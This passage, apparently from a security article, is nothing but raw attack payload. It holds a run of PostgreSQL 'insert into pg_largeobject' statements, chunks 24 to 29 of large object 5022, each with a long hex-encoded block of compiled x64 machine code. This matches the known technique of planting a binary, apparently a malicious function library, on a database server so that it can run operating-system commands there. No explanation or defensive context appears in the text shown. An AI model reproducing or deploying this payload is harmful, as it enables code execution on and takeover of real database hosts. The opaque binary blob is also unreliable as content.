85198ffff8b30e920020000488b45c84983cdff418d750d4885c074114d8bfd49ffc74638243875f74c03feeb0641bf0b000000488b0341b8020000004c8945d04885c07425488bd3498bcd48ffc14438240875f74883c20849ffc04c03c1488b024885c075e24c8945d0e8f2eaffff488bf84885c075088d7016e9a4010000b13d4c8be738087419498bc548ffc041803c040075f649ffc44c03e041380c2475e74d8bf441380c24752e41807e0100742741807e023a752041384e03751a498bc548ffc041807c06040075f54983c6054c03f041380e74d2488b034d2bf44c8bebeb2a488d4de84983c8ff49ffc042803c010075f6488d55e8488bc8e8bc16000085c0744c4983c508498b45004885c075d132c9488b45d0ba010000004903c6884dc084c94e8d2c384c0f45e8498bcde834c2ffff488bd84885c075188d480ee8a096ffffe80b97ffff8930e9cb000000b101ebbf488bf34d85f674154d8bc6498bd4488bcbe86657ffff4d2bee4a8d34334c8b75d84533e4eb334c8bc0498bd5488bcee85890ffff85c00f85c9000000498b0e4883c8ff48ffc04438240175f748ffc04803f04c2be84983c608498b064885c075c5443865c075484c8d45e8498bd7488bcee81690ffff85c00f85870000004c8d05578d0000498bd7488bcee894c2ffff85c075714c8b45c84d85c0740f498bd7488bcee87cc2ffff85c07559&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">24</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4903f7483bf3750644882648ffc6488b45e0448826418bf448891833c9e8e291ffff488bcfe8da91ffff488b4dc8e8d191ffff8bc6488b4df84833cce88f48ffff488b9c24c00000004883c470415f415e415d415c5f5e5dc34533c94c896424204533c033d233c9e8e794ffffcccccc48895c241048896c241848897424205741544155415641574883ec304c8bf133db488b094533db4883ceff4d8bf94d8be04c8bea4885c974204d8bd6488bc648ffc0381c0175f84983c20849ffc34c03d8498b0a4885c975e3b8010000004c3bd88be88bd0490f47eb488bcde887c0ffff488bf84885c075168d4808e8f394ffffe85e95ffffbf0c0000008938eb58498b06488bdf4885c0750433ffeb49488bd74c8bc0482bd3488bcb4803d5e8be8effff33d285c00f859e000000498b0e488bc648ffc038140175f84803d84983c608c6032048ffc3498b064885c075bf8853ff488bdf8bfa33c9e8a690ffff85ff740a488bcbe89a90ffffeb3f488364246000488d542460498bcde801fcffff85c0740c488b4c2460e87790ffffebd3488b44246033c949891c24498907e86290ffff33c9e85b90ffff33f6488b5c24688bc6488b742478488b6c24704883c430415f415e415d415c5fc34533c948895424204533c033c9e87893ffffcccccccc48895c240848896c24104889742418574883ec20ba480000008d4af8e867bfffff33f6488bd84885c0745b488da800120000483bc5744c488d7830488d4fd04533c0baa00f0000e8b4f0ffff48834ff8ff488d4f0e80670df88bc6488937c7470800000a0ac6470c0a408831ffc048ffc183f80572f34883c748488d47d0483bc575b8488bf333c9e8978fffff488b5c2430488bc6488b742440488b6c24384883c4205fc3cccccc4885c9744a48895c24084889742410574883ec20488db100120000488bd9488bf9483bce7412488bcfff15096200004883c748483bfe75ee488bcbe83c8fffff488b5c2430488b7424384883c4205fc348895c2408488974241048897c241841574883ec308bf181f9002000007229e85893ffffbb090000008918e82c92ffff8bc3488b5c2440488b742448488b7c24504883c430415fc333ff8d4f07e82ac4ffff908bdf8b051d18010048895c24203bf07c364c8d3d0d14010049393cdf7402eb22e890feffff498904df4885c075058d780ceb148b05ec17010083c0408905e317010048ffc3ebc1b907000000e82cc4ffff8bc7eb8a4863d14c8d05c6130100488bc283e23f48c1f806488d0cd2498b04c0488d0cc848ff2509610000cc488bc44889580848896810488970184889782041564883ec204863d9488bfa85c9786b3b1d7f1701007363488bc34c8d357313010083e03f488bf348c1fe06488d2cc0498b04f648837ce828ff753fe82c3e000083f801752885db74162bd8740b3bd8751cb9f4ffffffeb0cb9f5ffffffeb05b9f6ffffff488bd7ff15ff610000498b04f648897ce82833c0eb16e81992ffffc70009000000e8ee91ffff83200083c8ff488b5c2430488b6c2438488b742440488b7c24484883c420415ec3cc4863d14c8d05de120100488bc283e23f48c1f806488d0cd2498b04c0488d0cc848ff2529600000cc48895c2408488974241048897c24184154415641574883ec30b907000000e8a1c2ffff4983ceff33db4c8d2590120100895c242081fb800000000f8dd70000004863fb498b34fc4885f6753ae8fffcffff498904fc4885c00f84b900000083055b16010040c1e3068bcbe881feffff4863c348c1f806498b04c4c6403801448bf3e9910000004c8dbe00120000488bfe4889742428493bff7476f64738017402eb18488bcfff15755f0000f64738017414488bcfff156e5f00004883c74848897c2428ebd0482bfe48b8398ee3388ee3380e48f7ef48c1fa02488bc248c1e83f4803d0c1e30603d34863c24c8bc049c1f80683e03f488d0cc04b8b04c4c644c838014b8b04c44c8974c828448bf2eb07ffc3e919ffffffb907000000e8f7c1ffff418bc6488b5c2450488b742458488b7c24604883c430415f415e415cc3cccc48895c2408488974241048897c241841564883ec204863d985c978723b1d5e150100736a488bc34c8d355211010083e03f488bf348c1fe06488d3cc0498b04f6f644f83801744748837cf828ff743fe8043c000083f801752785db74162bd8740b3bd8751bb9f4ffffffeb0cb9f5ffffffeb05b9f6ffffff33d2ff15d85f0000498b04f648834cf828ff33c0eb16e8f18fffffc70009000000e8c68fffff83200083c8ff488b5c2430488b742438488b7c24404883c420415ec3cccc4883ec2883f9fe7515e89a8fffff832000e8b28fffffc70009000000eb4e85c978323b0d9c140100732a4863c94c8d0590100100488bc183e13f48c1f806488d14c9498b04c0f644d038017407488b44d028eb1ce84f8fffff832000e8678fffffc70009000000e83c8effff4883c8ff4883c428c3cccccc48895c2408574883ec308364242000b908000000e837c0ffff90bb03000000895c24243b1d03100100746d4863fb488b05ff0f0100488b0cf84885c97502eb548b4114c1e80da8017419488b0de30f0100488b0cf9e8ba64ffff83f8ff7404ff442420488b05ca0f0100488b0cf84883c130ff15445d0000488b0db50f0100488b0cf9e8788affff488b05a50f0100488324f800ffc3eb87b908000000e802c0ffff8b442420488b5c24404883c4305fc3cccccc48895c24084c894c2420574883ec20498bf9498bd88b0ae8acfbffff90488b03486308488bd1488bc148c1f8064c8d05640f010083e23f488d14d2498b04c0f644d038017424e889&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">25</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;feffff488bc8ff15245e000033db85c0751ee81d8effff488bd8ff15805c00008903e82d8effffc7000900000083cbff8b0fe831fcffff8bc3488b5c24304883c4205fc3894c24084883ec384863d183fafe750de8fb8dffffc70009000000eb6c85c978583b15e51201007350488bca4c8d05d90e010083e13f488bc248c1f806488d0cc9498b04c0f644c83801742d488d44244089542450895424584c8d4c2450488d54245848894424204c8d442420488d4c2448e8fdfeffffeb13e8928dffffc70009000000e8678cffff83c8ff4883c438c3cccccc48895c24085556574154415541564157488d6c24d94881ec00010000488b050dfb00004833c4488945174863f24d8bf8488bc648894df7488945ef488d0de62affff83e03f458be94d03e84c8945df4c8be64c896daf49c1fc064c8d34c04a8b84e150e301004a8b44f028488945b7ff15f35c000033d2488d4c24508945a7e83c87ffff488b4c24584533db44895d97418bdb895d9b498bff8b510c418bcb894c24408955ab4d3bfd0f83e2030000488bc6498bf748c1f806488945e78a0f41bf01000000884c244444895c244881fae9fd00000f85700100004c8d3d472affff418bd34d8b8cc750e30100498bf34b8d04f144385c303e740bffc248ffc64883fe057cee4885f60f8ee00000004b8b84e750e301004c8b45af4c2bc7420fb64cf03e460fbebc39c0d1010041ffc7458bef442bea4d63d54d3bd00f8f78020000488d45ff498bd34c2bc84f8d04f1488d4dff4803ca48ffc2428a44013e8801483bd67cea4585ed7e15488d4dff4d8bc24803ce488bd7e87c4cffff4533db498bd34c8d059f29ffff4b8b8ce050e301004803ca48ffc246885cf13e483bd67ce8488d45ff4c895dbf488945c74c8d4dbf418bc3488d55c74183ff04488d4c24480f94c0ffc0448bc0448bf8e8432f00004883f8ff0f84d7000000418d45ff4c8b6daf4863f04803f7e9e60000000fb607498bd5482bd74a0fbeb438c0d101008d4e014863c1483bc20f8fe401000083f9044c895dcf418bc348897dd70f94c04c8d4dcfffc0488d55d7448bc0488d4c24488bd8e8db2e00004883f8ff74734803f7448bfbe98a000000488d05d728ffff4a8b94e050e30100428a4cf23df6c104741b428a44f23e80e1fb8845078a0742884cf23d488d5507884508eb1fe8d5f0ffff0fb60f33d2663914487d2d48ffc6493bf50f83b2010000488bd741b802000000488d4c2448e88fefffff83f8ff7522807d8f00e98b0100004d8bc7488d4c2448488bd7e871efffff83f8ff0f84af0100008b4da7488d450f33db4c8d44244848895c2438488d7e0148895c2430458bcfc74424280500000033d24889442420e8d1dcffff8bf085c00f84d2010000488b4db74c8d4c244c448bc048895c2420488d550fff15345a00004533db85c00f84a3010000448b7c24408bdf2b5ddf4103df895d9b3974244c0f82f1000000807c24440a7549488b4db7418d430d4c8d4c244c6689442444458d43014c895c2420488d542444ff15e25900004533db85c00f84f1000000837c244c010f82ae00000041ffc7ffc344897c2440895d9b488bf7493bfd0f83e0000000488b45e78b55abe904fdffff418bd34d85c07e2d482bfe488d1d5d27ffff8a0437ffc24a8b8ce350e301004803ce48ffc6428844f13e4863c2493bc07ce08b5d9b4103d8eb4c458bcb4885d27e424c8b6def4d8bc34d8bd54183e53f49c1fa064e8d1ced000000004d03dd418a043841ffc14b8b8cd750e301004903c849ffc0428844d93e4963c1483bc27cde4533db03da895d9b44385d8f8b4c2440eb498a074c8d05d326ffff4b8b8ce050e30100ffc3895d9b428844f13e4b8b84e050e3010042804cf03d0438558febccff15485700008945978b4c2440807d8f00eb088b4c244044385d8f740c488b44245083a0a8030000fd488b45f7f20f104597f20f1100894808488b4d174833cce8393bffff488b9c24400100004881c400010000415f415e415d415c5f5e5dc3ff15e85600008945978b4c2440385d8feba948895c240848896c241856574156b850140000e8f4470000482be0488b0522f600004833c448898424401400004c63d2488bf9498bc2418be948c1f806488d0d480901004183e23f4903e8498bf0488b04c14b8d14d24c8b74d02833c04889078947084c3bc5736f488d5c2440483bf573248a0648ffc63c0a7509ff4708c6030d48ffc3880348ffc3488d84243f140000483bd872d7488364242000488d4424402bd84c8d4c2430448bc3488d542440498bceff15bb57000085c074128b4424300147043bc3720f483bf5729beb08ff15075600008907488bc7488b8c24401400004833cce8223affff4c8d9c2450140000498b5b20498b6b30498be3415e5f5ec3cccc48895c240848896c241856574156b850140000e8f0460000482be0488b051ef500004833c448898424401400004c63d2488bf9498bc2418be948c1f806488d0d440801004183e23f4903e8498bf0488b04c14b8d14d24c8b74d02833c04889078947084c3bc50f8382000000488d5c2440483bf573310fb7064883c6026683f80a751083470802b90d00000066890b4883c3026689034883c302488d84243e140000483bd872ca488364242000488d442440482bd84c8d4c243048d1fb488d54244003db498bce448bc3ff15a056000085c074128b4424300147043bc3720f483bf57288eb08ff15ec5400008907488bc7488b8c24401400004833cce80739ffff4c8d9c2450140000498b5b20498b6b30498be3415e5f5ec3cccccc48895c240848896c24185657415441564157b870140000e8d0450000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">26</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;482be0488b05fef300004833c448898424601400004c63d2488bd9498bc2458bf148c1f806488d0d240701004183e23f4d03f04d8bf8498bf8488b04c14b8d14d24c8b64d02833c04889034d3bc68943080f83ce000000488d442450493bfe732d0fb70f4883c7026683f90a750cba0d0000006689104883c0026689084883c002488d8c24f8060000483bc172ce488364243800488d4c24504883642430004c8d442450482bc1c7442428550d0000488d8c240007000048d1f848894c2420448bc8b9e9fd000033d2e8e2d7ffff8be885c0744933f685c07433488364242000488d9424000700008bce4c8d4c2440448bc54803d1498bcc442bc6ff153755000085c07418037424403bf572cd8bc7412bc7894304493bfee934ffffffff157d5300008903488bc3488b8c24601400004833cce89837ffff4c8d9c2470140000498b5b30498b6b40498be3415f415e415c5f5ec348895c24104889742418894c24085741544155415641574883ec20458bf04c8bfa4863d983fbfe7518e8b284ffff832000e8ca84ffffc70009000000e98f00000085c978733b1db1090100736b488bc3488bf348c1fe064c8d2d9e05010083e03f4c8d24c0498b44f50042f644e0380174468bcbe8b3f1ffff83cfff498b44f50042f644e038017515e87284ffffc70009000000e84784ffff832000eb0f458bc6498bd78bcbe8410000008bf88bcbe860f2ffff8bc7eb1be82384ffff832000e83b84ffffc70009000000e81083ffff83c8ff488b5c2458488b7424604883c420415f415e415d415c5fc3cc48895c24205556574154415541564157488bec4883ec6033db458bf04c63e1488bfa4585c00f849e0200004885d2751fe8bf83ffff8918e8d883ffffc70016000000e8ad82ffff83c8ffe97c020000498bc4488d0db704010083e03f4d8bec49c1fd064c8d3cc04a8b0ce9420fbe74f9398d46ff3c017709418bc6f7d0a80174af42f644f93820740e33d2418bcc448d4202e889aeffff418bcc48895de0e8350f000085c00f840b010000488d055e0401004a8b04e842385cf8380f8df5000000e8d6bcffff488b8890000000483999380100007516488d05330401004a8b04e842385cf8390f84ca000000488d051d0401004a8b0ce8488d55f04a8b4cf928ff153a52000085c00f84a80000004084f60f848100000040fece4080fe010f872e0100004e8d243748895dd04c8bf7493bfc0f83100100008b75d4410fb7060fb7c8668945f0e8a52e00000fb74df0663bc1753683c6028975d46683f90a751bb90d000000e8862e0000b90d000000663bc17516ffc68975d4ffc34983c6024d3bf40f83c0000000ebb1ff15d05000008945d0e9b0000000458bce488d4dd04c8bc7418bd4e8eef4fffff20f10008b5808e997000000488d05530301004a8b0ce842385cf9387d4d8bce4084f6743283e901741983f9017579458bce488d4dd04c8bc7418bd4e89dfaffffebbd458bce488d4dd04c8bc7418bd4e8a5fbffffeba9458bce488d4dd04c8bc7418bd4e871f9ffffeb954a8b4cf9284c8d4dd433c0458bc64821442420488bd7488945d08945d8ff15c051000085c07509ff151e5000008945d08b5dd8f20f1045d0f20f1145e0488b45e048c1e82085c075648b45e085c0742d83f805751be8a581ffffc70009000000e87a81ffffc70005000000e9c2fdffff8b4de0e81781ffffe9b5fdffff488d05770201004a8b04e842f644f838407405803f1a741fe86581ffffc7001c000000e83a81ffff832000e985fdffff8b45e42bc3eb0233c0488b9c24b80000004883c460415f415e415d415c5f5e5dc3cc4c8bda4c8bd14d85c0750333c0c3410fb70a4d8d5202410fb7134d8d5b028d41bf83f819448d49208d42bf440f47c983f8198d4a20418bc10f47ca2bc1750b4585c974064983e80175c4c3cc4c8bda4c8bd14d85c0750333c0c3410fb60a410fb6138d41bf83f819448d49208d42bf440f47c949ffc249ffc38d4a2083f819418bc10f47ca2bc1750b4585c974064983e80175c6c3cccccc4883ec28833d310a01000075364885c9751ae88180ffffc70016000000e8567fffffb8ffffff7f4883c428c34885d274e14981f8ffffff7f77d84883c428e971ffffff4533c94883c428e901000000cc48895c24084889742410574883ec40498bd8488bfa488bf14885c97517e82680ffffc70016000000e8fb7effffb8ffffff7feb694885d274e44881fbffffff7f77db4885db750433c0eb52498bd1488d4c2420e8347affff488b4424284c8b80100100000fb60648ffc6420fb614000fb60748ffc7420fb60c008bc22bc1750a85d274064883eb0175da807c243800740c488b4c242083a1a8030000fd488b5c2450488b7424584883c4405fc3cccccc48895c2408574883ec50488b9c24800000004885db751ee87c7fffffbb160000008918e8507effff8bc3488b5c24604883c4505fc3830bff4885c974da8b84248800000085c0740941f7c17ffeffff75c6836424400083642444008944243044894c24284489442420448bca4c8bc1488bd3488d4c2440e8ac0500008bf889442444837c244000742c85ff742148630b488bc148c1f806488d15f6ff000083e13f488d0cc9488b04c28064c838fe8b0be8f7ecffff85ff7403830bff8bc7e967ffffffcc4c8bdc49895b1049896b184989732057415641574883ec304c63f133db4d8bd64188194183e23f488d0da2ff0000498bc6498bf148c1f806418bf8488bea4f8d14d2488b04c142385cd0380f8d1002000041bf004007004585c77522498d4b08895c2450e8370b000085c00f850b0200008b4424504123c7753f0fbaef0e8bcf&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">27</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4123cf41bf0200000081f900400000743e8d810000ffffbaffbfffff85c2741d8d810000feff85c274208d810000fcff85c2751dc60601eb180bf8ebc1b9010300008bc723c13bc1750744883eeb02881ef7c7000007000f8484010000f64500400f857a0100008b4504ba000000c023c28bcb8bfb3d00000040740f3d0000008074333bc20f85560100008b450885c00f844b010000413bc7760e83f804765c83f8050f8538010000bf0100000085c90f84ce00000041b803000000895c2450488d542450418bcee83ba1ffff85c07e0683ff010f44fb83f8ff7445413bc7745783f8030f8587000000817c2450efbbbf007544c60601e988000000458bc733d2418bcee857a8ffff4885c0747a4533c033d2418bcee845a8ffff4883f8ff750ce82e7dffff8b00e9b60000008b4d04c1e91fe976ffffff0fb74424503dfeff0000750de80b7dffffc70016000000ebd03dfffe000075194533c0498bd7418bcee8faa7ffff4883f8ff74b544883eeb134533c033d2418bcee8e2a7ffff4883f8ff749d85ff74590fbe0e8bfb895c245083e901741283f901751ac7442450fffe0000418bffeb11c7442450efbbbf00bf0300000085ff7428448bc74863c3488d542450442bc34803d0418bcee882f7ffff83f8ff0f8446ffffff03d83bfb7fd833c0488b5c2458488b6c2460488b7424684883c430415f415e5fc34533c948895c24204533c033d233c9e8447bffffcccccccc48895c240848896c2418565741564883ec30488bd9c601008bca458bf1418be88bfabeffffffff83e103744983e901742083f9017414e8057cffffc70016000000e8da7affff8bceeb30b9000000c0eb29f7c7000007000f95c140f6c7080f95c022c8f6d91bc981e10000008081c100000040eb05b9000000808bc7894b04ba0007000023c274613d0001000074533d0002000074453d0003000074373d0004000074453d0005000074223d0006000074293bc27417e8857bffffc70016000000e85a7affff8b4b048bc6eb21b801000000eb1ab802000000eb13b805000000eb0cb804000000eb05b80300000089430883ed10744983ed10743d83ed10743183ed10742583fd407412e8317bffffc70016000000e8067affffeb2533f681f900000080400f94c6eb17be03000000eb10be02000000eb09be01000000eb0233f68363140089730cc74310800000004084ff7903800b10be0080000085fe751ff7c7004007007514488d4c2458e89a07000085c0757e397424587403800b80b90001000085f974168b056e040100f7d04123c684c07807c743100100000040f6c740740e0fba6b141a0fba6b0410834b0c040fbae70c7303094b100fbae70d73050fba6b141940f6c72074070fba6b141beb0b40f6c71074050fba6b141c488b6c2460488bc3488b5c24504883c430415e5f5ec34883642420004533c94533c033d233c9e83779ffffcccccc48895c241048896c2418574883ec204863d9488d0d17fb0000488bd3488bc348c1f80683e23f488b04c1488d14d28a4cd038f6c148757833ed84c97972448d45024883caff8bcbe8f4a4ffff488bf84883f8ff7516e8ba79ffff813883000000744de8cd79ffff8b00eb4641b80100000066896c2430488d5424308bcbe8669dffff85c0751766837c24301a750f488bd78bcbe8b425000083f8ff74c54533c033d28bcbe897a4ffff4883f8ff74b333c0488b5c2438488b6c24404883c4205fc3cccccc488bc44889580848897010488978184c89702055488d68b94881ec900000004883650f00488bf248836517004c8bf14883651f00488d4def488365270033d24883652f00418bf9498bd8c6453700e86173ffff488b45f741b8e9fd00004439400c7513807d07007442488b45ef83a0a8030000fdeb35e83dd3ffff85c07518384507740b488b45ef83a0a8030000fd41b801000000eb14807d0700740b488b45ef83a0a8030000fd4533c0488d550f488bcbe88185ffff85c0740583cbffeb298b457f448bcf4c8b451f488bd689442430498bce8b4577894424288b456f89442420e8650000008bd8807d37007409488b4d1fe82874ffff4c8d9c24900000008bc3498b5b10498b7318498b7b204d8b7328498be35dc3cc4883ec38418bc1c744242801000000448b4c2460458bd04c8bda48894c2420448bc0418bd2498bcbe893f8ffff4883c438c3cccc488bc44889580848897010488978204c894018554154415541564157488d68b94881ecb0000000458be1498bd8448b4d77488bfa448b456f488bf1418bd4488d4dffe89dfbffff0f1000f20f1048100f1145b7660f73d80866490f7ec7f20f114dcf49c1ef20f20f114dc74c897ddf4183ffff7518e88a77ffff33f68930830fffe89e77ffff8b00e939030000e8cee5ffff890783f8ff7519e86677ffff33f68930830fffe87a77ffffc70018000000ebcf8b4dbf4c8d4de74c8b75c7418bc4488b55b7458bc7c1e80749c1ee20f7d0440b75c783e001c7060100000033f648897424304489742428894c2420488bcb48c1ea20c745e718000000488975ef8945f74c8975d7ff150c4700008b5dbbb9000000c04c8be84883f8ff757b8bc323c13bc1754041f6c401743a8b4dbf4c8d4de748897424300fbaf31f895dbb458bc7488b55b74489742428894c2420488b4d5f48c1ea20ff15bc4600004c8be84883f8ff753348630f4c8d3db1f70000488bc183e13f48c1f806488d0cc9498b04c78064c838feff15e44400008bc8e82176ffffe9e9feffff498bcdff15a745000085c07551ff15c54400008bc88bd8e80076ffff4863174c8d3d62f70000488bca83e23f48c1f906488d14d2498b0ccf&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">28</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;8064d138fe498bcdff150a45000085db0f859bfeffffe83976ffffc7000d000000e98bfeffff448a75b783f80275064180ce40eb0983f80375044180ce088b0f498bd5e860e3ffff48630f4c8d3dfef60000488bc14180ce0148c1f80683e13f448875b7498b04c7488d0cc9448874c83848630f488bc183e13f48c1f806488d0cc9498b04c7408874c83941f6c402741d8b0fe888fbffff8945b385c0740f8b0fe8f285ffff8b45b3e9480100000f1045b74c8d4daf8b0ff20f104dcf488d55ff458bc40f2945ff408875aff20f114d0fe8aaf6ffff48630f8945b385c075c1488bc148c1f90683e03f498b0ccf488d14c08a45af8844d13948630f488bc183e13f48c1f806488d14c9498b0cc7418bc4c1e81024018064d13dfe0844d13d41f6c648752041f6c408741a48630f488bc183e13f48c1f806488d0cc9498b04c7804cc83820b9000000c08bc323c13bc10f859e00000041f6c4010f8494000000498bcdff15af430000488b4dd74c8d4de7448b45df0fbaf31f4889742430894c24288b4dbf894c2420488b4d5f895dbb488b55b748c1ea20ff15aa440000488bd04883f8ff7533ff15f34200008bc8e83074ffff48630f488bc183e13f48c1f806488d0cc9498b04c78064c838fe8b0fe8fbe3ffffe9d7fcffff48630f488bc148c1f80683e13f498b04c7488d0cc9488954c82833c04c8d9c24b0000000498b5b30498b7338498b7b48498be3415f415e415d415c5dc3cc4883ec2883f9fe750de82e74ffffc70009000000eb4285c9782e3b0d18f9000073264863c9488d150cf50000488bc183e13f48c1f806488d0cc9488b04c20fb644c83883e040eb12e8ef73ffffc70009000000e8c472ffff33c04883c428c3cc48895c2408574883ec20488bd9ba010000000115b0f40000bf001000008bcfe8cc9effff33c948894308e85d6fffff48837b08007407f0834b1440eb15f0814b1400040000488d431cbf0200000048894308897b20488b430883631000488903488b5c24304883c4205fc3cc4883ec284885c97519e86273ffffc70016000000e83772ffff4883c8ff4883c428c34c8bc133d2488b0d8efc00004883c42848ff2533430000cccccc4883ec284885c97517e82673ffffc70016000000e8fb71ffffb816000000eb0a8b05cefc0000890133c04883c428c3cc48895c240848897c24104c897424184863c1488d3de7f300004c8bd041be0000040049c1fa0683e03f4e8b0cd74c8d04c0430fb64cc138478a5cc1398bd981e38000000081fa00400000744c81fa00800000743a8d820000ffffa9fffffeff7419413bd6754480c98043884cc1384a8b04d742c644c03901eb3080c98043884cc1384a8b04d742c644c03902eb1c80e17f43884cc138eb1280c98043884cc1384a8b0cd742c644c1390085db7507b800800000eb194584db7507b800400000eb0d4180fb01b800000100410f44c6488b5c2408488b7c24104c8b742418c3ccccf0ff4110488b81e00000004885c07403f0ff00488b81f00000004885c07403f0ff00488b81e80000004885c07403f0ff00488b81000100004885c07403f0ff00488d413841b806000000488d15f7e80000483950f0740b488b104885d27403f0ff02488378e800740c488b50f84885d27403f0ff024883c0204983e80175cb488b8920010000e979010000cc48895c240848896c24104889742418574883ec20488b81f8000000488bd94885c07479488d0d9ae80000483bc1746d488b83e00000004885c07461833800755c488b8bf00000004885c974168339007511e8f26cffff488b8bf8000000e846160000488b8be80000004885c974168339007511e8d06cffff488b8bf8000000e830170000488b8be0000000e8b86cffff488b8bf8000000e8ac6cffff488b83000100004885c074478338007542488b8b080100004881e9fe000000e8886cffff488b8b10010000bf80000000482bcfe8746cffff488b8b18010000482bcfe8656cffff488b8b00010000e8596cffff488b8b20010000e8a5000000488db328010000bd06000000488d7b38488d05aae70000483947f0741a488b0f4885c97412833900750de81e6cffff488b0ee8166cffff48837fe8007413488b4ff84885c9740a8339007505e8fc6bffff4883c6084883c7204883ed0175b1488bcb488b5c2430488b6c2438488b7424404883c4205fe9d26bffffcccc4885c9741c488d05705a0000483bc87410b801000000f00fc1815c010000ffc0c3b8ffffff7fc3cc4885c97430534883ec20488d05435a0000488bd9483bc874178b815c01000085c0750de8b0160000488bcbe8786bffff4883c4205bc3cccc4885c9741a488d05105a0000483bc8740e83c8fff00fc1815c010000ffc8c3b8ffffff7fc3cccccc4883ec284885c90f84960000004183c9fff044014910488b81e00000004885c07404f0440108488b81f00000004885c07404f0440108488b81e80000004885c07404f0440108488b81000100004885c07404f0440108488d413841b806000000488d1555e60000483950f0740c488b104885d27404f044010a488378e800740d488b50f84885d27404f044010a4883c0204983e80175c9488b8920010000e835ffffff4883c428c348895c2408574883ec20e869a8ffff488db8900000008b88a80300008b05f6e5000085c87408488b1f4885db752cb904000000e8b89fffff90488b1534f80000488bcfe828000000488bd8b904000000e8ef9fffff4885db740e488bc3488b5c24304883c4205fc3e86f68ffff90cccc48895c2408574883ec20488bfa4885d274464885c97441488b19483bda7505488bc7eb36488939488bcfe82d&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">29</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;fcffff4885db74eb488bcbe8acfeffff837b100075dd488d05f3e30000483bd874d1488bcbe892fcffffebc733c0488b5c24304883c4205fc3cccccccccccccc4154415541564881ec50040000488b05b4db00004833c448898424100400004d8be14d8bf04c8be94885c9751a4885d27415e8dd6dffffc70016000000e8b26cffffe9380300004d85f674e64d85e474e14883fa020f822403000048899c24480400004889ac24400400004889b424380400004889bc24300400004c89bc24280400004c8d7aff4d0faffe4c03f933c948894c24206666660f1f84000000000033d2498bc7492bc549f7f6488d58014883fb080f878b0000004d3bfd76654b8d342e498bdd488bfe493bf777200f1f00488bd3488bcf498bc4ff15793d000085c0480f4fdf4903fe493bff76e34d8bc6498bd7493bdf741e492bdf0f1f4400000fb6020fb60c13880413880a488d52014983e80175ea4d2bfe4d3bfd77a4488b4c24204883e90148894c24200f88250200004c8b6ccc304c8bbccc20020000e95cffffff48d1eb498bcd490fafde498bc44a8d342b488bd6ff15fa3c000085c07e294d8bce4c8bc64c3bee741e0f1f00410fb600498bd0482bd30fb60a880241880849ffc04983e90175e5498bd7498bcd498bc4ff15be3c000085c07e2a4d8bc6498bd74d3bef741f4d8bcd4d2bcf900fb602410fb60c1141880411880a488d52014983e80175e8498bd7488bce498bc4ff15813c000085c07e2d4d8bc6498bd7493bf774224c8bce4d2bcf0f1f40000fb602410fb60c1141880411880a488d52014983e80175e8498bdd498bff6690483bf3761d4903de483bde7315488bd6488bcb498bc4ff152c3c000085c07ee5eb1e4903de493bdf7716488bd6488bcb498bc4ff150f3c000085c07ee50f1f00488bef492bfe483bfe7613488bd6488bcf498bc4ff15ee3b000085c07fe2483bfb72384d8bc6488bd7741e4c8bcb4c2bcf0fb602410fb60c1141880411880a488d52014983e80175e8483bf7488bc3480f45c6488bf0e965ffffff483bf57320492bee483bee7618488bd6488bcd498bc4ff15913b000085c074e5eb1e0f1f00492bee493bed7613488bd6488bcd498bc4ff15713b000085c074e5498bcf488bc5482bcb492bc5483bc1488b4c24207c2b4c3bed73154c896ccc304889accc2002000048ffc148894c2420493bdf0f83fffdffff4c8bebe974fdffff493bdf731548895ccc304c89bccc2002000048ffc148894c24204c3bed0f83d4fdffff4c8bfde949fdffff488bbc2430040000488bb42438040000488bac2440040000488b9c24480400004c8bbc2428040000488b8c24100400004833cce8011dffff4881c450040000415e415d415cc3cccccc48895c2408574883ec204533d2498bd84c8bda4d85c9752c4885c9752c4885d27414e84d6affffbb160000008918e82169ffff448bd3488b5c2430418bc24883c4205fc34885c974d94d85db74d44d85c97505448811ebde4885db7505448811ebc0482bd9488bd14d8bc3498bf94983f9ff75148a0413880248ffc284c074284983e80175eeeb208a0413880248ffc284c0740c4983e80174064883ef0175e84885ff75034488124d85c075894983f9ff750e46885419ff458d5050e975ffffff448811e8ab69ffffbb22000000e959ffffffcc4883ec58488b0549d700004833c4488944244033c04c8bca4883f8204c8bc17377c64404200048ffc04883f8207cf08a02eb1f0fb6d